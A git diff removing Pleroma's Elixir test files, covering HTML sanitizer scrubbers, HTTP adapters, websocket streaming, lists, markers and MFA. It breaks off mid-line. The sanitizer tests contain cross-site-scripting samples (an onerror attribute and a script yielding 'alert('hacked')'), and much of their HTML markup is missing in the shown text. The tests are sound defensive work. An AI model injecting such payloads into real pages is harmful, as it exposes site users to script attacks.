Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.HTMLTest do - alias Pleroma.HTML - alias Pleroma.Object - alias Pleroma.Web.CommonAPI - use Pleroma.DataCase - - import Pleroma.Factory - - @html_sample """ - this is in bold -

this is a paragraph

- this is a linebreak
- this is a link with allowed "rel" attribute: - this is a link with not allowed "rel" attribute: example.com - this is an image:
- - """ - - @html_onerror_sample """ - - """ - - @html_span_class_sample """ - hi - """ - - @html_span_microformats_sample """ - @foo - """ - - @html_span_invalid_microformats_sample """ - @foo - """ - - describe "StripTags scrubber" do - test "works as expected" do - expected = """ - this is in bold - this is a paragraph - this is a linebreak - this is a link with allowed "rel" attribute: example.com - this is a link with not allowed "rel" attribute: example.com - this is an image: - alert('hacked') - """ - - assert expected == HTML.strip_tags(@html_sample) - end - - test "does not allow attribute-based XSS" do - expected = "\n" - - assert expected == HTML.strip_tags(@html_onerror_sample) - end - end - - describe "TwitterText scrubber" do - test "normalizes HTML as expected" do - expected = """ - this is in bold -

this is a paragraph

- this is a linebreak
- this is a link with allowed "rel" attribute: - this is a link with not allowed "rel" attribute: example.com - this is an image:
- alert('hacked') - """ - - assert expected == HTML.filter_tags(@html_sample, Pleroma.HTML.Scrubber.TwitterText) - end - - test "does not allow attribute-based XSS" do - expected = """ - - """ - - assert expected == HTML.filter_tags(@html_onerror_sample, Pleroma.HTML.Scrubber.TwitterText) - end - - test "does not allow spans with invalid classes" do - expected = """ - hi - """ - - assert expected == - HTML.filter_tags(@html_span_class_sample, Pleroma.HTML.Scrubber.TwitterText) - end - - test "does allow microformats" do - expected = """ - @foo - """ - - assert expected == - HTML.filter_tags(@html_span_microformats_sample, Pleroma.HTML.Scrubber.TwitterText) - end - - test "filters invalid microformats markup" do - expected = """ - @foo - """ - - assert expected == - HTML.filter_tags( - @html_span_invalid_microformats_sample, - Pleroma.HTML.Scrubber.TwitterText - ) - end - end - - describe "default scrubber" do - test "normalizes HTML as expected" do - expected = """ - this is in bold -

this is a paragraph

- this is a linebreak
- this is a link with allowed "rel" attribute: - this is a link with not allowed "rel" attribute: example.com - this is an image:
- alert('hacked') - """ - - assert expected == HTML.filter_tags(@html_sample, Pleroma.HTML.Scrubber.Default) - end - - test "does not allow attribute-based XSS" do - expected = """ - - """ - - assert expected == HTML.filter_tags(@html_onerror_sample, Pleroma.HTML.Scrubber.Default) - end - - test "does not allow spans with invalid classes" do - expected = """ - hi - """ - - assert expected == HTML.filter_tags(@html_span_class_sample, Pleroma.HTML.Scrubber.Default) - end - - test "does allow microformats" do - expected = """ - @foo - """ - - assert expected == - HTML.filter_tags(@html_span_microformats_sample, Pleroma.HTML.Scrubber.Default) - end - - test "filters invalid microformats markup" do - expected = """ - @foo - """ - - assert expected == - HTML.filter_tags( - @html_span_invalid_microformats_sample, - Pleroma.HTML.Scrubber.Default - ) - end - end - - describe "extract_first_external_url_from_object" do - test "extracts the url" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: - "I think I just found the best github repo https://github.com/komeiji-satori/Dress" - }) - - object = Object.normalize(activity) - {:ok, url} = HTML.extract_first_external_url_from_object(object) - assert url == "https://github.com/komeiji-satori/Dress" - end - - test "skips mentions" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: - "@#{other_user.nickname} install misskey! https://github.com/syuilo/misskey/blob/develop/docs/setup.en.md" - }) - - object = Object.normalize(activity) - {:ok, url} = HTML.extract_first_external_url_from_object(object) - - assert url == "https://github.com/syuilo/misskey/blob/develop/docs/setup.en.md" - - refute url == other_user.ap_id - end - - test "skips hashtags" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "#cofe https://www.pixiv.net/member_illust.php?mode=medium&illust_id=72255140" - }) - - object = Object.normalize(activity) - {:ok, url} = HTML.extract_first_external_url_from_object(object) - - assert url == "https://www.pixiv.net/member_illust.php?mode=medium&illust_id=72255140" - end - - test "skips microformats hashtags" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: - "#cofe https://www.pixiv.net/member_illust.php?mode=medium&illust_id=72255140", - content_type: "text/html" - }) - - object = Object.normalize(activity) - {:ok, url} = HTML.extract_first_external_url_from_object(object) - - assert url == "https://www.pixiv.net/member_illust.php?mode=medium&illust_id=72255140" - end - - test "does not crash when there is an HTML entity in a link" do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "\"http://cofe.com/?boomer=ok&foo=bar\""}) - - object = Object.normalize(activity) - - assert {:ok, nil} = HTML.extract_first_external_url_from_object(object) - end - - test "skips attachment links" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: - "image.png" - }) - - object = Object.normalize(activity) - - assert {:ok, nil} = HTML.extract_first_external_url_from_object(object) - end - end -end diff --git a/test/http/adapter_helper/gun_test.exs b/test/http/adapter_helper/gun_test.exs deleted file mode 100644 index 80589c73d..000000000 --- a/test/http/adapter_helper/gun_test.exs +++ /dev/null @@ -1,84 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.HTTP.AdapterHelper.GunTest do - use ExUnit.Case, async: true - use Pleroma.Tests.Helpers - - import Mox - - alias Pleroma.Config - alias Pleroma.HTTP.AdapterHelper.Gun - - setup :verify_on_exit! - - describe "options/1" do - setup do: clear_config([:http, :adapter], a: 1, b: 2) - - test "https url with default port" do - uri = URI.parse("https://example.com") - - opts = Gun.options([receive_conn: false], uri) - assert opts[:certificates_verification] - end - - test "https ipv4 with default port" do - uri = URI.parse("https://127.0.0.1") - - opts = Gun.options([receive_conn: false], uri) - assert opts[:certificates_verification] - end - - test "https ipv6 with default port" do - uri = URI.parse("https://[2a03:2880:f10c:83:face:b00c:0:25de]") - - opts = Gun.options([receive_conn: false], uri) - assert opts[:certificates_verification] - end - - test "https url with non standart port" do - uri = URI.parse("https://example.com:115") - - opts = Gun.options([receive_conn: false], uri) - - assert opts[:certificates_verification] - end - - test "merges with defaul http adapter config" do - defaults = Gun.options([receive_conn: false], URI.parse("https://example.com")) - assert Keyword.has_key?(defaults, :a) - assert Keyword.has_key?(defaults, :b) - end - - test "parses string proxy host & port" do - proxy = Config.get([:http, :proxy_url]) - Config.put([:http, :proxy_url], "localhost:8123") - on_exit(fn -> Config.put([:http, :proxy_url], proxy) end) - - uri = URI.parse("https://some-domain.com") - opts = Gun.options([receive_conn: false], uri) - assert opts[:proxy] == {'localhost', 8123} - end - - test "parses tuple proxy scheme host and port" do - proxy = Config.get([:http, :proxy_url]) - Config.put([:http, :proxy_url], {:socks, 'localhost', 1234}) - on_exit(fn -> Config.put([:http, :proxy_url], proxy) end) - - uri = URI.parse("https://some-domain.com") - opts = Gun.options([receive_conn: false], uri) - assert opts[:proxy] == {:socks, 'localhost', 1234} - end - - test "passed opts have more weight than defaults" do - proxy = Config.get([:http, :proxy_url]) - Config.put([:http, :proxy_url], {:socks5, 'localhost', 1234}) - on_exit(fn -> Config.put([:http, :proxy_url], proxy) end) - uri = URI.parse("https://some-domain.com") - opts = Gun.options([receive_conn: false, proxy: {'example.com', 4321}], uri) - - assert opts[:proxy] == {'example.com', 4321} - end - end -end diff --git a/test/http/adapter_helper/hackney_test.exs b/test/http/adapter_helper/hackney_test.exs deleted file mode 100644 index f2361ff0b..000000000 --- a/test/http/adapter_helper/hackney_test.exs +++ /dev/null @@ -1,35 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.HTTP.AdapterHelper.HackneyTest do - use ExUnit.Case, async: true - use Pleroma.Tests.Helpers - - alias Pleroma.HTTP.AdapterHelper.Hackney - - setup_all do - uri = URI.parse("http://domain.com") - {:ok, uri: uri} - end - - describe "options/2" do - setup do: clear_config([:http, :adapter], a: 1, b: 2) - - test "add proxy and opts from config", %{uri: uri} do - opts = Hackney.options([proxy: "localhost:8123"], uri) - - assert opts[:a] == 1 - assert opts[:b] == 2 - assert opts[:proxy] == "localhost:8123" - end - - test "respect connection opts and no proxy", %{uri: uri} do - opts = Hackney.options([a: 2, b: 1], uri) - - assert opts[:a] == 2 - assert opts[:b] == 1 - refute Keyword.has_key?(opts, :proxy) - end - end -end diff --git a/test/http/adapter_helper_test.exs b/test/http/adapter_helper_test.exs deleted file mode 100644 index 24d501ad5..000000000 --- a/test/http/adapter_helper_test.exs +++ /dev/null @@ -1,28 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.HTTP.AdapterHelperTest do - use ExUnit.Case, async: true - - alias Pleroma.HTTP.AdapterHelper - - describe "format_proxy/1" do - test "with nil" do - assert AdapterHelper.format_proxy(nil) == nil - end - - test "with string" do - assert AdapterHelper.format_proxy("127.0.0.1:8123") == {{127, 0, 0, 1}, 8123} - end - - test "localhost with port" do - assert AdapterHelper.format_proxy("localhost:8123") == {'localhost', 8123} - end - - test "tuple" do - assert AdapterHelper.format_proxy({:socks4, :localhost, 9050}) == - {:socks4, 'localhost', 9050} - end - end -end diff --git a/test/http/request_builder_test.exs b/test/http/request_builder_test.exs deleted file mode 100644 index fab909905..000000000 --- a/test/http/request_builder_test.exs +++ /dev/null @@ -1,85 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.HTTP.RequestBuilderTest do - use ExUnit.Case - use Pleroma.Tests.Helpers - alias Pleroma.HTTP.Request - alias Pleroma.HTTP.RequestBuilder - - describe "headers/2" do - test "don't send pleroma user agent" do - assert RequestBuilder.headers(%Request{}, []) == %Request{headers: []} - end - - test "send pleroma user agent" do - clear_config([:http, :send_user_agent], true) - clear_config([:http, :user_agent], :default) - - assert RequestBuilder.headers(%Request{}, []) == %Request{ - headers: [{"user-agent", Pleroma.Application.user_agent()}] - } - end - - test "send custom user agent" do - clear_config([:http, :send_user_agent], true) - clear_config([:http, :user_agent], "totally-not-pleroma") - - assert RequestBuilder.headers(%Request{}, []) == %Request{ - headers: [{"user-agent", "totally-not-pleroma"}] - } - end - end - - describe "add_param/4" do - test "add file parameter" do - %Request{ - body: %Tesla.Multipart{ - boundary: _, - content_type_params: [], - parts: [ - %Tesla.Multipart.Part{ - body: %File.Stream{ - line_or_bytes: 2048, - modes: [:raw, :read_ahead, :read, :binary], - path: "some-path/filename.png", - raw: true - }, - dispositions: [name: "filename.png", filename: "filename.png"], - headers: [] - } - ] - } - } = RequestBuilder.add_param(%Request{}, :file, "filename.png", "some-path/filename.png") - end - - test "add key to body" do - %{ - body: %Tesla.Multipart{ - boundary: _, - content_type_params: [], - parts: [ - %Tesla.Multipart.Part{ - body: "\"someval\"", - dispositions: [name: "somekey"], - headers: [{"content-type", "application/json"}] - } - ] - } - } = RequestBuilder.add_param(%{}, :body, "somekey", "someval") - end - - test "add form parameter" do - assert RequestBuilder.add_param(%{}, :form, "somename", "someval") == %{ - body: %{"somename" => "someval"} - } - end - - test "add for location" do - assert RequestBuilder.add_param(%{}, :some_location, "somekey", "someval") == %{ - some_location: [{"somekey", "someval"}] - } - end - end -end diff --git a/test/http_test.exs b/test/http_test.exs deleted file mode 100644 index d394bb942..000000000 --- a/test/http_test.exs +++ /dev/null @@ -1,70 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.HTTPTest do - use ExUnit.Case, async: true - use Pleroma.Tests.Helpers - import Tesla.Mock - alias Pleroma.HTTP - - setup do - mock(fn - %{ - method: :get, - url: "http://example.com/hello", - headers: [{"content-type", "application/json"}] - } -> - json(%{"my" => "data"}) - - %{method: :head, url: "http://example.com/hello"} -> - %Tesla.Env{status: 200, body: ""} - - %{method: :get, url: "http://example.com/hello"} -> - %Tesla.Env{status: 200, body: "hello"} - - %{method: :post, url: "http://example.com/world"} -> - %Tesla.Env{status: 200, body: "world"} - end) - - :ok - end - - describe "head/1" do - test "returns successfully result" do - assert HTTP.head("http://example.com/hello") == {:ok, %Tesla.Env{status: 200, body: ""}} - end - end - - describe "get/1" do - test "returns successfully result" do - assert HTTP.get("http://example.com/hello") == { - :ok, - %Tesla.Env{status: 200, body: "hello"} - } - end - end - - describe "get/2 (with headers)" do - test "returns successfully result for json content-type" do - assert HTTP.get("http://example.com/hello", [{"content-type", "application/json"}]) == - { - :ok, - %Tesla.Env{ - status: 200, - body: "{\"my\":\"data\"}", - headers: [{"content-type", "application/json"}] - } - } - end - end - - describe "post/2" do - test "returns successfully result" do - assert HTTP.post("http://example.com/world", "") == { - :ok, - %Tesla.Env{status: 200, body: "world"} - } - end - end -end diff --git a/test/integration/mastodon_websocket_test.exs b/test/integration/mastodon_websocket_test.exs deleted file mode 100644 index 0f2e6cc2b..000000000 --- a/test/integration/mastodon_websocket_test.exs +++ /dev/null @@ -1,128 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Integration.MastodonWebsocketTest do - use Pleroma.DataCase - - import ExUnit.CaptureLog - import Pleroma.Factory - - alias Pleroma.Integration.WebsocketClient - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.OAuth - - @moduletag needs_streamer: true, capture_log: true - - @path Pleroma.Web.Endpoint.url() - |> URI.parse() - |> Map.put(:scheme, "ws") - |> Map.put(:path, "/api/v1/streaming") - |> URI.to_string() - - def start_socket(qs \\ nil, headers \\ []) do - path = - case qs do - nil -> @path - qs -> @path <> qs - end - - WebsocketClient.start_link(self(), path, headers) - end - - test "refuses invalid requests" do - capture_log(fn -> - assert {:error, {404, _}} = start_socket() - assert {:error, {404, _}} = start_socket("?stream=ncjdk") - Process.sleep(30) - end) - end - - test "requires authentication and a valid token for protected streams" do - capture_log(fn -> - assert {:error, {401, _}} = start_socket("?stream=user&access_token=aaaaaaaaaaaa") - assert {:error, {401, _}} = start_socket("?stream=user") - Process.sleep(30) - end) - end - - test "allows public streams without authentication" do - assert {:ok, _} = start_socket("?stream=public") - assert {:ok, _} = start_socket("?stream=public:local") - assert {:ok, _} = start_socket("?stream=hashtag&tag=lain") - end - - test "receives well formatted events" do - user = insert(:user) - {:ok, _} = start_socket("?stream=public") - {:ok, activity} = CommonAPI.post(user, %{status: "nice echo chamber"}) - - assert_receive {:text, raw_json}, 1_000 - assert {:ok, json} = Jason.decode(raw_json) - - assert "update" == json["event"] - assert json["payload"] - assert {:ok, json} = Jason.decode(json["payload"]) - - view_json = - Pleroma.Web.MastodonAPI.StatusView.render("show.json", activity: activity, for: nil) - |> Jason.encode!() - |> Jason.decode!() - - assert json == view_json - end - - describe "with a valid user token" do - setup do - {:ok, app} = - Pleroma.Repo.insert( - OAuth.App.register_changeset(%OAuth.App{}, %{ - client_name: "client", - scopes: ["read"], - redirect_uris: "url" - }) - ) - - user = insert(:user) - - {:ok, auth} = OAuth.Authorization.create_authorization(app, user) - - {:ok, token} = OAuth.Token.exchange_token(app, auth) - - %{user: user, token: token} - end - - test "accepts valid tokens", state do - assert {:ok, _} = start_socket("?stream=user&access_token=#{state.token.token}") - end - - test "accepts the 'user' stream", %{token: token} = _state do - assert {:ok, _} = start_socket("?stream=user&access_token=#{token.token}") - - capture_log(fn -> - assert {:error, {401, _}} = start_socket("?stream=user") - Process.sleep(30) - end) - end - - test "accepts the 'user:notification' stream", %{token: token} = _state do - assert {:ok, _} = start_socket("?stream=user:notification&access_token=#{token.token}") - - capture_log(fn -> - assert {:error, {401, _}} = start_socket("?stream=user:notification") - Process.sleep(30) - end) - end - - test "accepts valid token on Sec-WebSocket-Protocol header", %{token: token} do - assert {:ok, _} = start_socket("?stream=user", [{"Sec-WebSocket-Protocol", token.token}]) - - capture_log(fn -> - assert {:error, {401, _}} = - start_socket("?stream=user", [{"Sec-WebSocket-Protocol", "I am a friend"}]) - - Process.sleep(30) - end) - end - end -end diff --git a/test/job_queue_monitor_test.exs b/test/job_queue_monitor_test.exs deleted file mode 100644 index 65c1e9f29..000000000 --- a/test/job_queue_monitor_test.exs +++ /dev/null @@ -1,70 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.JobQueueMonitorTest do - use ExUnit.Case, async: true - - alias Pleroma.JobQueueMonitor - - @success {:process_event, :success, 1337, - %{ - args: %{"op" => "refresh_subscriptions"}, - attempt: 1, - id: 339, - max_attempts: 5, - queue: "federator_outgoing", - worker: "Pleroma.Workers.SubscriberWorker" - }} - - @failure {:process_event, :failure, 22_521_134, - %{ - args: %{"op" => "force_password_reset", "user_id" => "9nJG6n6Nbu7tj9GJX6"}, - attempt: 1, - error: %RuntimeError{message: "oops"}, - id: 345, - kind: :exception, - max_attempts: 1, - queue: "background", - stack: [ - {Pleroma.Workers.BackgroundWorker, :perform, 2, - [file: 'lib/pleroma/workers/background_worker.ex', line: 31]}, - {Oban.Queue.Executor, :safe_call, 1, - [file: 'lib/oban/queue/executor.ex', line: 42]}, - {:timer, :tc, 3, [file: 'timer.erl', line: 197]}, - {Oban.Queue.Executor, :call, 2, [file: 'lib/oban/queue/executor.ex', line: 23]}, - {Task.Supervised, :invoke_mfa, 2, [file: 'lib/task/supervised.ex', line: 90]}, - {:proc_lib, :init_p_do_apply, 3, [file: 'proc_lib.erl', line: 249]} - ], - worker: "Pleroma.Workers.BackgroundWorker" - }} - - test "stats/0" do - assert %{processed_jobs: _, queues: _, workers: _} = JobQueueMonitor.stats() - end - - test "handle_cast/2" do - state = %{workers: %{}, queues: %{}, processed_jobs: 0} - - assert {:noreply, state} = JobQueueMonitor.handle_cast(@success, state) - assert {:noreply, state} = JobQueueMonitor.handle_cast(@failure, state) - assert {:noreply, state} = JobQueueMonitor.handle_cast(@success, state) - assert {:noreply, state} = JobQueueMonitor.handle_cast(@failure, state) - - assert state == %{ - processed_jobs: 4, - queues: %{ - "background" => %{failure: 2, processed_jobs: 2, success: 0}, - "federator_outgoing" => %{failure: 0, processed_jobs: 2, success: 2} - }, - workers: %{ - "Pleroma.Workers.BackgroundWorker" => %{ - "force_password_reset" => %{failure: 2, processed_jobs: 2, success: 0} - }, - "Pleroma.Workers.SubscriberWorker" => %{ - "refresh_subscriptions" => %{failure: 0, processed_jobs: 2, success: 2} - } - } - } - end -end diff --git a/test/keys_test.exs b/test/keys_test.exs deleted file mode 100644 index 9e8528cba..000000000 --- a/test/keys_test.exs +++ /dev/null @@ -1,24 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.KeysTest do - use Pleroma.DataCase - - alias Pleroma.Keys - - test "generates an RSA private key pem" do - {:ok, key} = Keys.generate_rsa_pem() - - assert is_binary(key) - assert Regex.match?(~r/RSA/, key) - end - - test "returns a public and private key from a pem" do - pem = File.read!("test/fixtures/private_key.pem") - {:ok, private, public} = Keys.keys_from_pem(pem) - - assert elem(private, 0) == :RSAPrivateKey - assert elem(public, 0) == :RSAPublicKey - end -end diff --git a/test/list_test.exs b/test/list_test.exs deleted file mode 100644 index b5572cbae..000000000 --- a/test/list_test.exs +++ /dev/null @@ -1,149 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.ListTest do - alias Pleroma.Repo - use Pleroma.DataCase - - import Pleroma.Factory - - test "creating a list" do - user = insert(:user) - {:ok, %Pleroma.List{} = list} = Pleroma.List.create("title", user) - %Pleroma.List{title: title} = Pleroma.List.get(list.id, user) - assert title == "title" - end - - test "validates title" do - user = insert(:user) - - assert {:error, changeset} = Pleroma.List.create("", user) - assert changeset.errors == [title: {"can't be blank", [validation: :required]}] - end - - test "getting a list not belonging to the user" do - user = insert(:user) - other_user = insert(:user) - {:ok, %Pleroma.List{} = list} = Pleroma.List.create("title", user) - ret = Pleroma.List.get(list.id, other_user) - assert is_nil(ret) - end - - test "adding an user to a list" do - user = insert(:user) - other_user = insert(:user) - {:ok, list} = Pleroma.List.create("title", user) - {:ok, %{following: following}} = Pleroma.List.follow(list, other_user) - assert [other_user.follower_address] == following - end - - test "removing an user from a list" do - user = insert(:user) - other_user = insert(:user) - {:ok, list} = Pleroma.List.create("title", user) - {:ok, %{following: _following}} = Pleroma.List.follow(list, other_user) - {:ok, %{following: following}} = Pleroma.List.unfollow(list, other_user) - assert [] == following - end - - test "renaming a list" do - user = insert(:user) - {:ok, list} = Pleroma.List.create("title", user) - {:ok, %{title: title}} = Pleroma.List.rename(list, "new") - assert "new" == title - end - - test "deleting a list" do - user = insert(:user) - {:ok, list} = Pleroma.List.create("title", user) - {:ok, list} = Pleroma.List.delete(list) - assert is_nil(Repo.get(Pleroma.List, list.id)) - end - - test "getting users in a list" do - user = insert(:user) - other_user = insert(:user) - third_user = insert(:user) - {:ok, list} = Pleroma.List.create("title", user) - {:ok, list} = Pleroma.List.follow(list, other_user) - {:ok, list} = Pleroma.List.follow(list, third_user) - {:ok, following} = Pleroma.List.get_following(list) - assert other_user in following - assert third_user in following - end - - test "getting all lists by an user" do - user = insert(:user) - other_user = insert(:user) - {:ok, list_one} = Pleroma.List.create("title", user) - {:ok, list_two} = Pleroma.List.create("other title", user) - {:ok, list_three} = Pleroma.List.create("third title", other_user) - lists = Pleroma.List.for_user(user, %{}) - assert list_one in lists - assert list_two in lists - refute list_three in lists - end - - test "getting all lists the user is a member of" do - user = insert(:user) - other_user = insert(:user) - {:ok, list_one} = Pleroma.List.create("title", user) - {:ok, list_two} = Pleroma.List.create("other title", user) - {:ok, list_three} = Pleroma.List.create("third title", other_user) - {:ok, list_one} = Pleroma.List.follow(list_one, other_user) - {:ok, list_two} = Pleroma.List.follow(list_two, other_user) - {:ok, list_three} = Pleroma.List.follow(list_three, user) - - lists = Pleroma.List.get_lists_from_activity(%Pleroma.Activity{actor: other_user.ap_id}) - assert list_one in lists - assert list_two in lists - refute list_three in lists - end - - test "getting own lists a given user belongs to" do - owner = insert(:user) - not_owner = insert(:user) - member_1 = insert(:user) - member_2 = insert(:user) - {:ok, owned_list} = Pleroma.List.create("owned", owner) - {:ok, not_owned_list} = Pleroma.List.create("not owned", not_owner) - {:ok, owned_list} = Pleroma.List.follow(owned_list, member_1) - {:ok, owned_list} = Pleroma.List.follow(owned_list, member_2) - {:ok, not_owned_list} = Pleroma.List.follow(not_owned_list, member_1) - {:ok, not_owned_list} = Pleroma.List.follow(not_owned_list, member_2) - - lists_1 = Pleroma.List.get_lists_account_belongs(owner, member_1) - assert owned_list in lists_1 - refute not_owned_list in lists_1 - lists_2 = Pleroma.List.get_lists_account_belongs(owner, member_2) - assert owned_list in lists_2 - refute not_owned_list in lists_2 - end - - test "get by ap_id" do - user = insert(:user) - {:ok, list} = Pleroma.List.create("foo", user) - assert Pleroma.List.get_by_ap_id(list.ap_id) == list - end - - test "memberships" do - user = insert(:user) - member = insert(:user) - {:ok, list} = Pleroma.List.create("foo", user) - {:ok, list} = Pleroma.List.follow(list, member) - - assert Pleroma.List.memberships(member) == [list.ap_id] - end - - test "member?" do - user = insert(:user) - member = insert(:user) - - {:ok, list} = Pleroma.List.create("foo", user) - {:ok, list} = Pleroma.List.follow(list, member) - - assert Pleroma.List.member?(list, member) - refute Pleroma.List.member?(list, user) - end -end diff --git a/test/marker_test.exs b/test/marker_test.exs deleted file mode 100644 index 7b3943c7b..000000000 --- a/test/marker_test.exs +++ /dev/null @@ -1,78 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.MarkerTest do - use Pleroma.DataCase - alias Pleroma.Marker - - import Pleroma.Factory - - describe "multi_set_unread_count/3" do - test "returns multi" do - user = insert(:user) - - assert %Ecto.Multi{ - operations: [marker: {:run, _}, counters: {:run, _}] - } = - Marker.multi_set_last_read_id( - Ecto.Multi.new(), - user, - "notifications" - ) - end - - test "return empty multi" do - user = insert(:user) - multi = Ecto.Multi.new() - assert Marker.multi_set_last_read_id(multi, user, "home") == multi - end - end - - describe "get_markers/2" do - test "returns user markers" do - user = insert(:user) - marker = insert(:marker, user: user) - insert(:notification, user: user, activity: insert(:note_activity)) - insert(:notification, user: user, activity: insert(:note_activity)) - insert(:marker, timeline: "home", user: user) - - assert Marker.get_markers( - user, - ["notifications"] - ) == [%Marker{refresh_record(marker) | unread_count: 2}] - end - end - - describe "upsert/2" do - test "creates a marker" do - user = insert(:user) - - {:ok, %{"notifications" => %Marker{} = marker}} = - Marker.upsert( - user, - %{"notifications" => %{"last_read_id" => "34"}} - ) - - assert marker.timeline == "notifications" - assert marker.last_read_id == "34" - assert marker.lock_version == 0 - end - - test "updates exist marker" do - user = insert(:user) - marker = insert(:marker, user: user, last_read_id: "8909") - - {:ok, %{"notifications" => %Marker{}}} = - Marker.upsert( - user, - %{"notifications" => %{"last_read_id" => "9909"}} - ) - - marker = refresh_record(marker) - assert marker.timeline == "notifications" - assert marker.last_read_id == "9909" - assert marker.lock_version == 0 - end - end -end diff --git a/test/mfa/backup_codes_test.exs b/test/mfa/backup_codes_test.exs deleted file mode 100644 index 41adb1e96..000000000 --- a/test/mfa/backup_codes_test.exs +++ /dev/null @@ -1,15 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.MFA.BackupCodesTest do - use Pleroma.DataCase - - alias Pleroma.MFA.BackupCodes - - test "generate backup codes" do - codes = BackupCodes.generate(number_of_codes: 2, length: 4) - - assert [<<_::bytes-size(4)>>, <<_::bytes-size(4)>>] = codes - end -end diff --git a/test/mfa/totp_test.exs b/test/mfa/totp_test.exs deleted file mode 100644 index 9edb6fd54..000000000 --- a/test/mfa/totp_test.exs +++ /dev/null @@ -1,21 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.MFA.TOTPTest do - use Pleroma.DataCase - - alias Pleroma.MFA.TOTP - - test "create provisioning_uri to generate qrcode" do - uri = - TOTP.provisioning_uri("test-secrcet", "test@example.com", - issuer: "Plerome-42", - digits: 8, - period: 60 - ) - - assert uri == - "otpauth://totp/test@example.com?digits=8&issuer=Plerome-42&period=60&secret=test-secrcet" - end -end diff --git a/test/mfa_test.exs b/test/mfa_test.exs deleted file mode 100644 index 8875cefd9..000000000 --- a/test/mfa_test.exs +++ /dev/null @@ -1,52 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.MFATest do - use Pleroma.DataCase - - import Pleroma.Factory - alias Pleroma.MFA - - describe "mfa_settings" do - test "returns settings user's" do - user = - insert(:user, - multi_factor_authentication_settings: %MFA.Settings{ - enabled: true, - totp: %MFA.Settings.TOTP{secret: "xx", confirmed: true} - } - ) - - settings = MFA.mfa_settings(user) - assert match?(^settings, %{enabled: true, totp: true}) - end - end - - describe "generate backup codes" do - test "returns backup codes" do - user = insert(:user) - - {:ok, [code1, code2]} = MFA.generate_backup_codes(user) - updated_user = refresh_record(user) - [hash1, hash2] = updated_user.multi_factor_authentication_settings.backup_codes - assert Pbkdf2.verify_pass(code1, hash1) - assert Pbkdf2.verify_pass(code2, hash2) - end - end - - describe "invalidate_backup_code" do - test "invalid used code" do - user = insert(:user) - - {:ok, _} = MFA.generate_backup_codes(user) - user = refresh_record(user) - assert length(user.multi_factor_authentication_settings.backup_codes) == 2 - [hash_code | _] = user.multi_factor_authentication_settings.backup_codes - - {:ok, user} = MFA.invalidate_backup_code(user, hash_code) - - assert length(user.multi_factor_authentication_settings.backup_codes) == 1 - end - end -end diff --git a/test/migration_helper/notification_backfill_test.exs b/test/migration_helper/notification_backfill_test.exs deleted file mode 100644 index 2a62a2b00..000000000 --- a/test/migration_helper/notification_backfill_test.exs +++ /dev/null @@ -1,56 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.MigrationHelper.NotificationBackfillTest do - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.MigrationHelper.NotificationBackfill - alias Pleroma.Notification - alias Pleroma.Repo - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - describe "fill_in_notification_types" do - test "it fills in missing notification types" do - user = insert(:user) - other_user = insert(:user) - - {:ok, post} = CommonAPI.post(user, %{status: "yeah, @#{other_user.nickname}"}) - {:ok, chat} = CommonAPI.post_chat_message(user, other_user, "yo") - {:ok, react} = CommonAPI.react_with_emoji(post.id, other_user, "☕") - {:ok, like} = CommonAPI.favorite(other_user, post.id) - {:ok, react_2} = CommonAPI.react_with_emoji(post.id, other_user, "☕") - - data = - react_2.data - |> Map.put("type", "EmojiReaction") - - {:ok, react_2} = - react_2 - |> Activity.change(%{data: data}) - |> Repo.update() - - assert {5, nil} = Repo.update_all(Notification, set: [type: nil]) - - NotificationBackfill.fill_in_notification_types() - - assert %{type: "mention"} = - Repo.get_by(Notification, user_id: other_user.id, activity_id: post.id) - - assert %{type: "favourite"} = - Repo.get_by(Notification, user_id: user.id, activity_id: like.id) - - assert %{type: "pleroma:emoji_reaction"} = - Repo.get_by(Notification, user_id: 